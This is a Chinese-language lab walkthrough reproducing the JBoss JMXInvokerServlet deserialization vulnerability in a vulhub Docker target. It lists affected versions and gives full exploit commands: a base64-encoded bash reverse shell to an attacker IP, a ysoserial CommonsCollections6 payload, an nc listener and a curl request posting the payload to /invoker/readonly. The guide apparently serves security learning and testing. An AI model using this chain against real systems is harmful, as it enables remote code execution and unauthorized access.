Jboss JMXInvokerServlet-deserialization漏洞复现
影响范围
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0
漏洞成因
JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
漏洞利用
环境准备
名称 | IP |
---|---|
攻击机 | 192.168.159.174 |
靶机 | 192.168.159.129 |
首先输入以下命令进入vulhub里启动靶场,然后在攻击机里访问http://192.168.159.129:8080即可
cd vulhub-master/jboss/JMXInvokerServlet-deserialization
docker-compose up -d
漏洞复现
首先准备好生成payload的工具:ysoserial.jar
然后准备好反弹shell的命令,需要对其进行base64加密
//反弹shell命令,注意替换为自己的
bash -i >& /dev/tcp/192.168.159.174/6666 0>&1
//base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xNzQvNjY2NiAwPiYx
java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xNzQvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser
执行完上述命令会生成一个poc.ser文件,接下来新打开一个cmd窗口执行以下命令:
nc -lvvp 6666
监听启动后再执行下述指令:
curl http://192.168.159.129:8080/invoker/readonly --data-binary @poc.ser
可以看到如下图,反弹shell成功,此漏洞利用成功